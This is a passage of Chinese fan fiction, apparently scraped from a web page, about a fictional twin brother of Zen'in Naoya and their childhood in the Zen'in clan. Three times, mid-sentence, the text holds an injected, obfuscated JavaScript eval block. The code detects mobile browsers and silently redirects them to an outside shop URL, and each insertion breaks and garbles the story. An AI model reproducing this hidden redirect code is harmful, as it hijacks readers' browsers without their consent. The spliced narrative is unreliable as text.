《和直哉是双胞胎是什么体验》 1. 兄弟 直人有个蠢得像头猪的兄弟,更让人遗憾的是,他和他这个兄弟共用一张脸。 作为双胞胎诞生在咒术界是不详之事,尤其是在「非术师者非人」的禅院。 当没有从这个孩子身上感受到咒力后,禅院直毘人将他的命名权交给了他的母亲。 美丽的夫人看着怀里安睡的孩子,眼底溢出怜惜。案桌上的神像前飘着缕缕香烟,婴儿耸动鼻尖,但几声嘤咛后却睡得更沉。 「就叫……直人吧。」 于是,双胞胎里没有咒力的孩子被取名为直人,另一个则用了早已定好的名字——直哉。 总归是家主的嫡子,任何人不敢轻易定夺直人的去留。而直毘人似乎早就忘记了他有两个刚出生的小儿子,毕竟他有太多儿子了,反正总是有人帮忙养着,又不会死掉。 只有母亲是最心疼自己的孩子的。 在美丽良善、虔诚地信仰着神明的夫人眼里,两个孩子都是从她的肚子里出来的,她怎么忍心让他们有贵贱之分。 她时常跪在禅院家神社的蒲团上,恳求禅院祖先的氏神们保佑她的两个儿子平安康健,能在今后的日子里互相陪伴,彼此呵护。 所以,直哉和直人被养在一起长大了,他们没有分开。 妈妈的院子是直哉和直人八岁之前全部的世界。他们不清楚他们有什么不同,他们同吃同住,穿一样的衣服,玩一样的玩具,除了性格,没有任何分别。 他们什么也不操心,咒术师的事是大人该忧心的事。他们每天最要紧的事情,就是如何从兄弟嘴里抢下更多的点心。 「那是我的!」 禅院直哉尖叫着扑过去,直人比他更快一步,把写着直哉名字的盘子里的大福塞进嘴巴里。 一次性吃下一整个大福对小孩子来说是很困难的,但直人还是做到了。哪怕他的脸颊被撑得又大又圆,麻薯皮黏得几乎噎住嗓子,他还是死死捂着自己的嘴,不让奶油漏出来哪怕一点。 「给我吐出来,那是我的!我的!妈妈——妈妈——!」禅院直哉坐在禅院直人身上,两只小手掐着直人的脖子拼命摇晃。 禅院直人天生力气比直哉大得多,又因为他更愿意吃饭,所以长得也比直哉壮实。 禅院直哉的力道完全不能撼动直人。禅院直人当着禅院直哉的面开始咀嚼吞咽,然后张大嘴伸出舌头,让禅院直哉看清楚,属于直哉的那份大福已经被他吃干净了。 在意识到一切都没有挽回的余地后,禅院直哉又开始哭着喊妈妈。尖锐的哭声像刀片刮过石子的声音,难听又刺耳。 「你根本不爱吃大福——」直哉控诉他的兄弟。禅院直人面无表情地看着坐在他身上哭得一脸鼻涕的直哉,提醒他:「都是因为你昨天吃了我的章鱼烧。」 妈妈对两兄弟正餐之外的点心把控很严格,小孩子很容易因为不知节制而吃坏肚子,或者早早就长一嘴蛀牙。 所以,直哉和直人只有每天在乖乖吃过饭后,才能一人分到一点点妈妈吩咐厨房做的小零食。 昨天是直人最喜欢的章鱼烧,这种重口味的食物妈妈认为对他们的身体没有好处,一个月只许他们吃一次。 就在直人准备享用他的章鱼烧的时候,直哉一本正经地从外面跑进来说妈妈找他,要他去帮忙清理香炉。 这本是下人可以帮忙做的事,但夫人希望她的孩子可以得到祖先的喜爱,因此得到神明的庇护,所以她经常叫她的孩子们去和她一起烧香祈福。 直哉是个天生的小骗子,他说起谎来眼也不眨。而他拿捏准了直人一定会听妈妈的话。 所以,直人相信了。他恋恋不舍地看了章鱼烧一眼,还是擦干净手去找妈妈。 趁直人走出房间后,直哉立刻把自己那份连带着直人的吃光光。 等直人意识到这又是直哉的小把戏的时候,直哉还故意留着嘴上没擦干净的酱汁,大声嘲笑直人是头没有脑子的猪,每次都能上当。 然后,在下人的惊呼声中,直人又一次把拳头砸在那张和他一样的脸上,告诉直哉他们是双胞胎,如果他是猪,那直哉也是。 「我讨厌你——我不要和你做双胞胎——」直哉拉响了他警报一样的嗓子。 「你才最讨厌了!把我的章鱼烧吐出来!」 不要和直人做双胞胎——这句话每天要被直哉说一万遍,但尚且年幼的两兄弟谁都没有当真。 没有过早接触禅院家对于术师那一套理论的灌输,他们一直为自己能有一个和自己长的一样的兄弟而感到骄傲,并长久地热衷于和妈妈还有妈妈的仆从们玩「猜猜我是谁」的游戏。 他们长得实在太像了,只要直哉和直人闭上嘴面无表情地站在人们面前,即使是照顾了他们好多年的下人也分不清谁是谁。 直到别人举起手认输,他们才会露出满意的表情,然后继续去找下一个受害者。 虽然如此,他们的性格却相差甚远。禅院直哉是双胞胎里更吵闹、更不好伺候的那一个。 明明接受的是同样的教育,但他就是更让人头疼些,一张小嘴总是喋喋不休,从来吐不出好听的话,稍微不顺从他的心意,他就能又哭又叫个不停。 唯一能让他安分下来的只有直人。直人和他双胞胎兄弟的性格大相径庭。 他比他的兄弟更听妈妈的话,也有耐心陪妈妈一起祈福。 禅院家主的夫人信仰神道,她总是告诉她的孩子们举头三尺有神明,不管做什么事情前都要再三思考,这样做是否会让神明不高兴。 「万物皆有灵,神明大人无处不在,无论你做什么他们都会看着你的……」 「他们……会惩罚不听话的孩子。」 「但是不要担心,只要真心地供奉他们,忏悔自己的错误,就能得到原谅。」 「如果他不肯原谅我们呢?」 「不会的,神明大人只是想让你长长记性而已,他们不会和小孩子计较的……除非你们真的做了很过分很过分的事情……」 妈妈柔美的双目倏地瞪大,吓得两兄弟齐齐往后退了一步,然后又听到妈妈的轻笑声,她的声音重新和缓下来:「所以直人和直哉要做一个乖孩子。」 禅院直哉总是表现得很不耐烦,但直人却能听下去。虽然直哉经常告发直人其实根本不相信有神存在,他只是喜欢闻着香灰的味道打瞌睡。 可不可否认的是,禅院直人确实更喜欢安静的环境,也不会喜欢利用撒泼打滚这样的手段去获得自己想要的东西。 兄弟的聒噪让小小的他提前体会到了大人才该有的心烦。而小孩子不会知道要如何学会运用语言和温和的方法来安抚自己兄弟的情绪,他只知道在直哉哭的时候捂住他的嘴,或者用其他更为直截了当的办法,比如拳头。 因此,直人的安静并不意味着他是个多么成熟省心的小孩。他只是相比于动嘴,更愿意动手。在直哉还在用嘴犯贱的时候,直人已经把他揍翻到地上了。 夫人生下双胞胎后身体就不太好,没有精力对两兄弟操心太多,也没有下人敢过多干预,所以他们两兄弟对事情的处理方式从那时候起就已经定了型。 除去了鸡飞狗跳的点心时间,两兄弟也没有一天是和平相处的。 他们每天早上一睁眼就大呼小叫,争先恐后从他们共同的房间里跑出来。他们在路上互相推搡争吵,就为了能第一个跑进夫人的房间,告诉妈妈自己才是先起床的那一个。在得到妈妈的表扬后,才会心满意足地去吃早餐。 这期间,他们也要争一争谁吃得更快更干净。每一次赢家都是直哉,因为他会求直人帮他吃掉他不喜欢的菜,然后自己把空盘子举起来给妈妈看。 禅院直哉在很小的时候就是个为达目的能屈能伸的家伙,而每次都吃他那套的禅院直人嘴里嚼着直哉偷偷拨给他的饭菜,瞪着一双眼睛看他上蹿下跳小人得志的兄弟,最后还是没有告诉妈妈真相。 即使这样,直哉会被惩罚晚上没有点心,能让直人狠狠出一口恶气。 而直哉也会在一时的兴奋劲过去后,继续坐在直人旁边等他吃完,两个人再手拉手跑出去玩。 他们毕竟都还是小孩子,小孩子就是这样矛盾的。 上一秒,直哉还大喊他最讨厌直人了,妈妈有他一个孩子就够了;下一秒,他们又像什么也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887242|192059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没发生一样依偎在一起看一只蚂蚁搬运面包。 哪怕脸上还有对方拳头留下来的淤青,他们晚上也会在下人关上灯离开后挤到一个被窝里去。 他们和其他普通家庭里所有的兄弟都一样,可以因为谁的芝麻团子上的芝麻更多一点争论不休甚至大打出手,也可以因为妈妈一句再不听话就把你们分开而吓得抱在一起哇哇大哭,请求得到妈妈的原谅。 他们理所当然地认为他们就是应该在一起的,因为他们是双胞胎,他们从在妈妈的子宫里就在一起,那么他们以后也会一直在一起。 等他们终于意识到双胞胎其实是别人避之不及的不祥产物,是在他们八岁的时候。 那年新年还没过去几天,禅院直哉突然发起高烧,最先发现的是和他睡在一个被窝里的禅院直人。 禅院直人是被烫醒的。他以为是直哉又缠在他的身上,被打断睡眠而心情不好的直人看到禅院直哉还闭着眼,便泄愤地一巴掌扇在直哉脸上。 手心滚烫的触感把直人吓得清醒。直哉的脑袋软绵绵地歪在一边,没有半点要睁开眼睛的动静。 直人又拼命摇晃直哉的身体,但只有直哉的脑袋随着他的动作摇来摇去,像没有生命的布偶娃娃任人摆弄。 到底还是孩子,看过的电影情节从八岁的直人容量不大的脑子里一幕幕浮现。直人终于忍不住跌坐在地上嚎啕大哭。 等仆从们惊慌地赶来,直人已经搂着直哉哭得上气不接下气。他含糊不清地哭着说对不起,求求直哉活过来。他再也不会打直哉了,只要直哉活过来,他就让直哉做哥哥。 谁是哥哥谁是弟弟这个问题,让两兄弟每年生日都大打出手。他们谁都想做哥哥,因为哥哥听起来更威风。可妈妈无论如何也不肯告诉他们谁是先出生的那一个。 现在,直人愿意把哥哥这个位置让给直哉,只要直哉活过来。 也许是直人给出的好处诱惑实在太大了,直哉在直人怀里晕晕乎乎地睁开了一只眼睛。直人的哭声戛然而止,直哉又脑袋向后一栽晕了过去。 禅院家的大夫赶了过来,检查一番后说直哉只是发烧,等吃了药,烧退了就会醒过来。 他准备离开的时候,直人一直扯着他的衣摆,再三逼问他直哉醒来的具体时间,还要他发誓直哉一定会醒过来。 夫人的贴身侍女惠子打趣他:「白天不是还说再也不想看见直哉了吗?」 妈妈已经好几天没有出过房间,只有这个侍女过来。在夫人不舒服的时候,总是她来照顾这对双胞胎,所以直人对她很亲近。 直人的嗓子已经哭哑了,他犟着脖子企图不让人发现他红通通的眼睛:「他还欠我一个章鱼烧,他必须还给我才可以……死。」 最后一个字他嗫嚅着嘴唇,良久才很小声很小声地说出来。 温暖的手掌盖住直人的额头和眼睛,带着浓浓的禅香味。惠子的声音轻轻的,很柔和:「直哉不会死的,直人和直哉是兄弟,要永远在一起的。」 直人没说话,但惠子知道他在心里答应了。 直哉醒后,直人绝口不提他之前说过的话,也不承认自己为直哉哭泣过。 直哉也不知道,在自己还躺在床上的时候,直人央着惠子带他去了禅院家的神社。 心思还很简单的直人以为是因为自己偷吃了给神明的贡品,神明生了气,才会让从未生病的直哉发烧,想要没收掉直人的兄弟作为给他的惩罚。 那几日,直人都跪在神明的牌位前祈求神明的原谅。他这才第一次真正地相信妈妈说的话。他发誓自己不会再做让神明不高兴的事,请神明不要降罚于他的兄弟。 终于,有一天,惠子很高兴地找过来,说直哉已经醒过来了,还有一个好消息。 直人激动地跳起来,握住侍女的手:「是神明显灵了吗?」 惠子回握住直人。她正想说是的,但话到口中,她突然说不出来了。 她迎着直人期待的目光,突然心中酸涩。这到底算神明显灵,还是给予了这孩子更严厉的处罚呢? 她说:「直哉大人觉醒术式了,是和家主大人一样的术式。」 2. 妖怪 带着直人回去的时候,惠子同来的时候一样挑了一条没有人的小路。 细窄的木道两侧,疯长的枝丫和不知名的野花野草肆意探出,密密麻麻交织在一起,几乎要压到直人的头顶,将天空遮得严严实实,一丝光亮也透不进来。 这条路已经许久没有人打理,潮湿的木板上爬满了苔藓,缝隙里还钻出来几朵黑黄黑黄的木耳。直人忍不住想弯腰去摸,但惠子把直人的手攥得很紧,她此时的表情和在妈妈身边祈福时一样严肃。 湿漉漉的枝条时不时挠在直人脸上,他觉得痒,但又觉得很有趣,伸手摘下一朵妈妈院子里没有的野花,得意地说:“如果直哉求我,我就愿意给他看一看。 就在这个时候,惠子的眼神落在直人的身上,是他看不懂的神色,但莫名觉得不舒服,像脚下踩的绿藓,滑润得要渗出水来。 直人觉得不安,半晌后却仍旧没有得到答案。他故作老成地耸了耸肩,低下头看着手心里淡紫色的小花,“看在他生病的份上,我会送给他。” “直哉大人要搬出去了。” 惠子的声音压得很低,像一片羽毛在直人耳边飘了几圈,然后才终于落下来。 “搬出去?” 惠子说是的,直哉不会再和妈妈住在一起了,也不再会和直人住在一起了。惠子看起来也有些难过,但更多地像是一种直人看不懂的情绪。 直人不懂,搬出去是搬到哪里?也不懂这意味着什么,他只听见惠子说直哉不会再和他生活在一起了。 “那我们一起养的小鱼怎么办呢?” “我会帮您一起照顾它的。” “可是我们的剪纸还没有做完,我们说好要一起送给妈妈。” “让我和您一起做吧。” “那……那直哉什么时候回来?” “我们晚上不能在一起睡觉了吗?” “……是。” “那我们还可以一起吃早餐吗?” “……直人……” “那点心时间呢!直哉肯定会回来吃妈妈给的点心的!” 直人急得叫起来,然而惠子却只是沉默地摇头。 “那他要去哪里呢?”直人的声音低下来,他难过地问惠子。他想不出直哉有什么地方可去,除了妈妈的院子和摆满牌位的神社,直人再没有去过其他的地方。 以前他和直哉也讨论过外面究竟有什么,小孩子都是憧憬外面的世界的。 直人说外面肯定有吃不完的章鱼烧和点心,直哉却说外面有怪物,他说起来的时候害怕得要命,躲在直人的被窝里发抖,但又期待自己说不定有一天也能像故事书上的主角一样成为英雄。 “到那一天的话,我会保护你的,直人。”明明怕得要死的直哉说着逞强的话,他握着直人的手,说这是做哥哥的应该担当的责任。 直人一巴掌拍开直哉的脸,说书上的怪物都是骗人的,可直哉很坚定,他说只要他走出妈妈的院子,就能看见外面长廊里高高的柱子顶端盘旋着各式各样的妖怪,比黄泉丑女还恶心丑陋,渗人又阴森。 但直人什么也看不见,也想不出。他去问妈妈,妈妈不言,只是让他背诵佛经,他去问惠子,惠子恍若不闻,其余下人在面对这个问题时也紧紧闭着嘴,仿佛他们一瞬间都成了哑巴。 到了晚上,房间里只剩下直人和直哉,直人借着月光翻开配了插画的古事记,月光把障子和纸上的纹路投射成扭曲的黑影映在书页上,给鬼神的图像都蒙上一层粘稠的阴影,直哉却嚷嚷着说他看见的妖怪们比古事记上的妖怪还要恐怖一万倍。 说到最后,两兄弟只能抱成一团躲在被子里。 不同的是,直哉紧紧闭着眼睛贴着他的兄弟,而直人虽环着直哉的身体,眼睛却茫然地在黑夜中睁着,看向头顶的缝隙,月光透过没盖严的被子一点点倾泻进来,直人一边学着妈妈拍直哉的背,一边想他再也不喜欢外面的世界。 他看不见直哉口中的怪物,但在直哉每年祭拜祖先回来后惶惶的眼睛中,他也开始不由得担忧他的兄弟是否有朝一日会被那些怪物吞吃入骨。 为了找到拯救兄弟的办法,他翻看妈妈房间的书籍,用贫瘠的词汇和仆从们的口中拼凑到了驱鬼节的故事。 只要在驱鬼节把炒黄豆撒在屋子周围,就能驱散鬼怪。 “为什么我们没有过过驱鬼节?”找到救命稻草的直哉愤怒地质问下人,他把自己看见怪物的原因全归结于在这上面了。 下人唯唯诺诺半天说不出所以然。 直到直人拦住直哉:“以后我都会帮你撒豆子的。” 得到承诺的直哉才算是安静下来。 于是他们约定,要在驱鬼节的那一天沿着母亲的院子撒整整一圈炒黄豆,这样就能把妖怪们隔绝在外面。 可是现在—— “驱鬼节怎么办呢,没有我的话,直哉撒豆子的时候被鬼抓走了怎么办呢!” 直人晃动着惠子的手,他的声音变得尖锐焦急,眼泪也止不住地滚了出来:“直哉不能搬出去,外面有怪物,怪物会吃了他的!” “不会的,不会的,”惠子安抚着直人,她把直人揽进怀里,去捂直人的嘴巴:“是家主大人要接走他,家主大人会保护直哉大人的。” “家主大人……?”直人安静下来。 惠子平视着直人的眼睛,抚摸直人凌乱的头发:“是的,您和直哉大人的父亲。” 父亲。 直人只在每年快要过年的时候,短暂地见上那个被称作他和直哉父亲的人一面。 他记得,每到那一天,天还没亮透,妈妈就会亲自过来把他们从被窝里轻轻唤醒。 直人总是先醒的那个,他揉着眼睛,看见母亲已经穿戴整齐——她穿着那件一年只穿一次的和服,深黑色的底,绣着禅院的家纹,在晨光里泛着幽微的光。 她的头发梳得一丝不苟,发髻上簪着一朵素雅的花,整个人端庄又圣洁。 直哉还在迷迷糊糊地打哈欠,母亲便用温热的毛巾敷在他的脸上,动作温柔却不容抗拒。毛巾的热气蒸腾着,直哉的睫毛沾上细小的水珠,像是晨露凝在草叶上。 “今天要好好表现。”母亲的声音很轻,却带着不容置疑的意味。她跪坐在他们面前,指尖轻轻点着榻榻米,示意他们挺直脊背。 直人知道,妈妈又要教他们唱那首和歌。
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时间好像在这一刻停掉了,直人又悄悄看向另一边,看纸门外亮得晃眼的雪光,想,会不会等雪融化了他才能得到释放呢? 那就给自己立下一个挑战好了,一直这样坚持到雪融化的时候。 然而,就在直人下定决心的时候,妈妈喊了他和直哉的名字。 直人抬头,对上母亲和父亲一起看过来的目光。那个被叫做父亲的人看上去要比妈妈年纪大一些,夹杂着灰发的头发往脑袋后面梳起来,留着一小撮胡子。 他穿着黑扑扑的简单浴衣,随意地盘腿坐在那里把脚伸出来,笑着露出几颗牙齿。 “长得真的一模一样嘛——”他揶揄地打趣。 又来了,一模一样的话。在前一年,前前一年,前前前一年……或者更早的时候,父亲这样坐着,说着这样的话,没有一点点的变化。 妈妈也回答了一样的话:“直人,直哉,快祝福你们的父亲。” 直人看了一眼直哉,直哉也看着他,两兄弟深吸一口气,然后开口: “千早振る 神の御前に 祈り……” 照例,也是没有唱完的。 依然是唱到第三句的时候,父亲终于不耐烦地站起来了,他老样子地摆摆手,“哎呀呀,真是听腻了,不知道的以为我娶了堀越家的媳妇。” 直人和直哉也早已有所预料地闭上嘴,两个人对视一眼抿着嘴笑起来。 两兄弟站起来跟在妈妈身后把父亲送出院门,一直到再也看不见他的背影,终于嘻嘻哈哈地往雪地里扑去。 这是直人和他还有直哉的父亲见过的仅仅几面,他不知道父亲的存在到底是用来做什么的,又能给他们带来什么。 只知道只要见一次父亲,就寓意着这一年已经结束,他们即将迎来新的春天。 但是现在惠子说,父亲要带走直哉了。 3. 姊妹 直人和直哉的父亲是禅院家所有人的君主,禅院家的每一个人,都对他满怀敬重之意,作为儿子的直人和直哉更应该如此。 他们能有今日的生命与灵魂,全靠父亲给予。他们日常饮食,每一粒米、每一滴水;身上穿戴,每一寸布料,无一不是父亲恩赐。 如果没有父亲,那直人和直哉兄弟俩也不可能诞生了。 “所以你们要效忠你们的父亲。” 在昏昏欲睡的黄昏时分,母亲坐在烟雾缭绕的禅室里,带着直哉和直人诵完佛经后,不厌其烦地重复这句训诫——你们要效忠你们的父亲。 “可是米是农民种的,饭是惠子从厨房端来的,衣服也是惠子给我们做的,而且我们不是从妈妈的肚子里出来的吗?” 直哉满不以为意,兄弟俩虽然还很小,也被叫过来的私塾先生带着读过“父为子纲,君为臣纲”,但这种东西对于不满八岁的他们来说还是过于晦涩难懂,所以母亲就让惠子先教他们读书认字。 惠子的母亲是个不姓禅院的普通女人,母女俩在未被禅院家发现前被她的父亲养在外面,因此惠子读过寻常的小学和初中,教给直哉和直人的也都是禅院家私塾先生不会教的东西。 于是,当俩兄弟像大部分小孩一样问起来他们是从哪里来的时候,惠子没有像其他下人那样,说他们是春天最先开的两朵樱花变成的,也没有说他们是河童放在河里飘来的,惹得两兄弟闹得满院子鸡犬不宁,为了争论他们谁是两朵最先开的樱花里更先开的那一朵,或者谁更受河童的喜爱而大打出手。 “你们都是从夫人的肚子里出来的。”惠子用手点了点直哉和直人的肚子,说:“你们在夫人的肚子里慢慢长大,一直到夫人的肚子大到再也装不下你们的时候,你们就出生了。” 惠子的双手在兄弟俩面前合拢,比划出一个圆润的弧度,然后又像气球那样一点点张开、撑大,大到直人和直哉都不禁惊讶地张开嘴巴。 直哉站起来,一个劲儿往身体里吸气,试图把自己的肚子鼓到最大。直人用手摸着直哉的肚子,一直喊着:“太小啦,太小啦,连我都装不下。” 直哉憋得整张脸通红,脖子都红透了,肚子鼓得浑圆,但直人还在喊太小了、太小了。说着,他还像模像样掀起直哉的衣摆,真摆出一副要钻进去的架势证明给直哉看。 终于,直哉“哇”地一声哭出来了,他把直人从自己衣服里推了出去,嘴里边哭边喊:“我不要当妈妈,我不要生孩子,我的肚子要撑破了!” 边上围着的仆从们的低笑声此起彼伏,直人还在一旁添油加醋:“可是直哉不想生一对双胞胎吗,就像我和你一样。” “我才不要,我才不要!”已经被惠子抱起来安抚的直哉听到这句话,拼命地在惠子怀里挣扎起来。 直人也从地上站了起来,在惠子脚边跑来跑去追着直哉说个不停,“你要,你早上还说你要一对双胞胎。” “我要河童给的!我不要自己生!” “可是惠子阿姨说了,孩子是自己生的。” “那我不要了!那我不要了!” “直哉胆小鬼!” “我不是——”直哉尖利的哭喊划破了宅院的上空,还掺杂着直人咯咯的笑。 至此,直哉对以后生孩子这件事害怕得要命,一直到吃晚饭的时候,他依旧惶惶不安,食欲不振,生怕吃下去的食物会在肚子里变成小孩长大。 知道缘由后的妈妈告诉直哉只有女孩子才会怀孕生小孩,直哉在再三求证后终于露出一整天都不曾展露的笑脸。但直人失望得直叹气,还故意拖长音调惹得直哉跳到他身上挥舞拳头,然后两个人又在地上滚作一团,就连妈妈也拦不住。 晚上,惠子过来照顾直哉和直人睡下,兄弟俩躺在各自的被窝里,都瞪着眼睛毫无睡意。 “惠子有孩子吗?”直哉从被子里坐起来,问惠子。 惠子轻轻摇头:“我还没有结婚。” “结婚?” 兄弟俩是知道结婚这个东西的,他们平时也会玩家家酒,两个人轮流来做丈夫和妻子,而他们的小金鱼就是他们的孩子。 他们尚且没有为了谁做妻子谁做丈夫争吵过,因为他们还不理解这两者对于家庭有什么不同的意义,只是穿着和性别不一样而已。 有时候直哉甚至会主动扮演妻子,因为他觉得妻子的服饰更好看。还可以像书里那样很凶地骂直人是不爱回家,不管孩子的酒鬼。 虽然妈妈从来没有这样说过父亲,但直哉希望有一天妈妈能像这样做。 “因为你还没有爱上的男人吗?”直人问。 就算是小孩子,他们也知道结婚是因为爱情这样黏糊糊、难以言说的东西,因为话本上是这样写的。 惠子却微微一笑:“我还要服侍夫人和直哉直人呢。” “你会一直在妈妈和我们身边吗?” “不出意外的话,是的。” “你一辈子都不会嫁人吗?” “如果夫人不为我指婚,我是不能嫁人的。” “连结婚也要听妈妈的吗?” “是,因为夫人是我的主人。” “那你的爸爸妈妈呢?”直哉已经悄悄钻进直人的被窝里,两兄弟脑袋靠在一起,两双眼睛直勾勾盯着惠子。“你和我们在一起,那你的爸爸妈妈身边是谁?” 惠子低头折着直人和直哉明天要穿的衣服,像是想了许久才想起来:“我的父亲也是夫人的父亲。” “你是妈妈的妹妹吗!”直哉叫出来,直人赶紧捂住他的嘴让他不要惊动了妈妈,因为自俩兄弟懂事以来,妈妈身体不好一直休息得很早。 但是他也很好奇,他压低声音问惠子:“那你为什么是妈妈的仆人呢?” 惠子缓缓点头,又连连摇头,她的表情在摇曳的烛光里变得很模糊不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他们只能又手牵手一起钻进被窝,但不知道怎么回事,谁都没有就这件事展开讨论,而是安静得只剩下彼此呼吸的声音。 再后来,兄弟俩都很默契地更加尊敬惠子,他们好像不约而同地把惠子当做了妈妈的替身。 因为他们始终想不明白,明明是亲姊妹,怎么会尊卑有别呢? 但是直哉和直人以为他们不需要操心这种事,因为他们是从同一个妈妈肚子里出来的,他们之间没有什么不同。 可是今天,到了妈妈院子的后门的时候,直人听到院子里熙熙攘攘的声音,似乎里面有很多人,都是成年男人的声音。妈妈的院子从没有这么热闹过。 直人顾不得是些什么人,他只想快点跑去找直哉,问问他究竟要被父亲带去哪里,可就在他要钻出这片灌木丛的时候,惠子从身后一把拽住了他。 惠子拉着直人蹲下来,两人完全藏进满是枯枝败叶的树丛中,层层叠叠的枝丫把院子里的喧嚣都挡在了栅栏的另一头,直人只听得见惠子的声音。 她定定地看着直人的眼睛,语气郑重地说:“以后再见到直哉,要喊他大人,知道了吗?” 4. 直人 禅院直人是不懂“大人”这个称呼到底是意味着什么的,他只大致知道所有人都是要听“大人”们的话的。 院子里的仆人们管母亲叫夫人,母亲又称呼父亲为大人。 仆人们听母亲的指使,母亲又顺从于父亲。 “我什么要叫他‘大人’?我才不要听他的话,我才是哥哥。”禅院直人瘪嘴,他心里没由来得像多了团棉花,被吸满了水,堵塞住他身体里的每一个出口。 禅院直人从树丛的缝隙里定定地看向人来人往的院子里,他看见母亲弯着身子,身后的仆人们比她的腰弯得更低。 而她对面站得笔直的是直人前不久刚见过的父亲,他摸着胡子在笑,和常常淡然的母亲不一样,他总是笑嘻嘻的,毫无仪态地露出发黄的牙齿。 而他另一只手里正牵着直哉。 直哉垂着脑袋,一只手在腰间的束带上扣弄。 完蛋。直人以为直哉又要挨妈妈的训斥,因为妈妈不允许他们做出这么失礼的举动,尤其是在父亲面前。 但出人意料的,母亲仍然弯着腰,头也没有抬起来过。 突然,有个直人没见过的女人过来,伸手去抱直哉。直哉挣扎着想躲,但他被父亲的手捉着,始终只能在那一小片地方打转。 终于,父亲留意到了他的动静,低下头草草看了一眼,径直拎起他塞进了那个女人的怀里。 直哉又开始尖叫,他拼命地蹬腿,嘴里含糊不清地喊着一些音节。母亲终于抬起头,却是让直哉不要再胡闹。 “直人,直人——” 终于,直人听清直哉嘴里吐出他的名字,再也按耐不住,他甩开惠子的手,把慌忙让他停下的惠子一股脑甩在身后。 他冲出树丛,在下人们诧异的眼神和惊呼中扑向抱着直哉的女人:“不许欺负直哉!” “直人——”直人看清了直哉的脸,他的一双眼睛已经红得发肿,他哭哭啼啼地咒骂:“我讨厌你,我讨厌你!” 直哉从床上醒来的时候,床边围了很多人。 有母亲,有惠子,院子里的仆人们几乎都在这里,但坐在最前面的是他的父亲和他的几个随从。 唯独没有看到直人。 他试着抬起身体,竟惊觉得身体轻了很多,不像病中时的沉重滚烫。他已经记不太清他生病时候的事,也不知道他已经躺了多久。 只记得他总是在梦里和现实来来回回跳跃,有时候他看见院外的那几只怪物,盘在房梁上对他嘻嘻发笑,有时候又以为自己蹲在池塘边上,和直人一起把手伸进水里去拨弄他们一起养的小鱼。 但无论在哪里,他的身体都像被大米压住,就像又回到去年,他和直人在库房探险,不小心弄倒了米堆,一麻袋的大米坍塌下来,把他死死压住。 他歇斯底里地想要呼救,但次次都被压得喘不出气,哪怕是手指头都动弹不得,鼻尖嗅到的都是陈年谷物和灰尘的气味。 他侧着脸,眼睁睁看见直人跑出去找人帮忙,直至直人从出口消失,他意识到他被一个人留在漆黑的库房里,他感觉到恐慌,泪水流了满脸,他想要直人留下来。 可不管他的表情怎么狰狞,他怎样试图尖叫,直人都好像什么也没发生一样,蹲在他的面前,站在他的旁边,或者牵着他的手满院子乱跑。 哪怕他看见他在院子里,在房间里,在餐桌上,在池塘边。明明他早就被从库房里救出来了,明明如果直人不去叫人,他就不会被救出来,明明直人已经抱着他大哭,说很害怕他会死。 但为什么他还是那么生气,他想要让直人停下来,想要直人不要再牵着他的手,他想把他推倒在地上,想要扑倒在他身上质问他为什么要把他一个人丢在那里。 终于,直人停下来转身看着他,嘴巴一张一合,出来的声音确是:咕咚、咕咚。 像从池塘底下传出来的声音。 他猛地睁开眼,闻到房间里熟悉的熏香,意识到一切都是梦。他扭过头想去找直人,想恶狠狠地把他受到的惊吓都宣泄出去,但房间里永远只有几个下人。 当等他们意识到他醒了围过来的时候,直哉又两眼一翻睡了过去。 等他好了,他要找直人算账。 他这样想着。 但当他在床榻被高热反复折磨,醒来又昏厥的过程中,他再没有在房间里见过直人。 直到现在,他感觉自己已经好透了。 时隔多日,他头一回轻而易举地抬起他的胳膊,他的身体从来没有这样轻盈过。 他的手刚抬起来,就被一只粗粝的大手抓了过去,直哉扭头,看见是自己的父亲。 他有些迷惘,不知道自己是不是要下来和他行礼,因为妈妈就是这样教的。 但父亲好像并没有计较他躺在床上是多么失礼的事情,只是随意摆弄他的四肢,眼里有些许惊奇。 直哉的视线越过他,在房间里乱转。 平日贴身照顾他的仆人知道他在想什么,小心翼翼接上一句:“直人少爷就要回来了。” 直哉很不高兴,为什么直人没有一直守在他地身边,难道他不知道哥哥生病的时候,做弟弟的要好好照顾好哥哥吗? 他正要问直人去了哪里,却突然感到失重。 父亲直接把他从床上拎了起来。 他身上还穿着生病时候被汗水浸透了的浴衣,现在黏糊糊地裹在他的身上,头发也乱七八糟地沾在他的额头上,让他很不舒服,也觉得有些丢人。 但父亲才不在意这个,他把他拎到地板上站好,让他走两步。 黏腻的脚心突然触碰到冰凉的地板,长时间没有活动的双腿软得发颤,直哉差点径直跌下去。他两只手攥着浴衣,求助的眼神在房间里转了一圈,但所有接触到他眼神的人都下意识低下了头。 就连妈妈,也只是用温柔的目光看着他,用低低的声音说:“听父亲大人的话,直哉。” 而那些和父亲一起来的男人们,都在用一种让人不舒服的视线打量他,那些视线像冰凉的水藻,贴在他的身上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887245|192059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直哉咬咬牙,颤巍巍地在房间里走了一圈。他还是在想,等直人回来,等直人回来…… 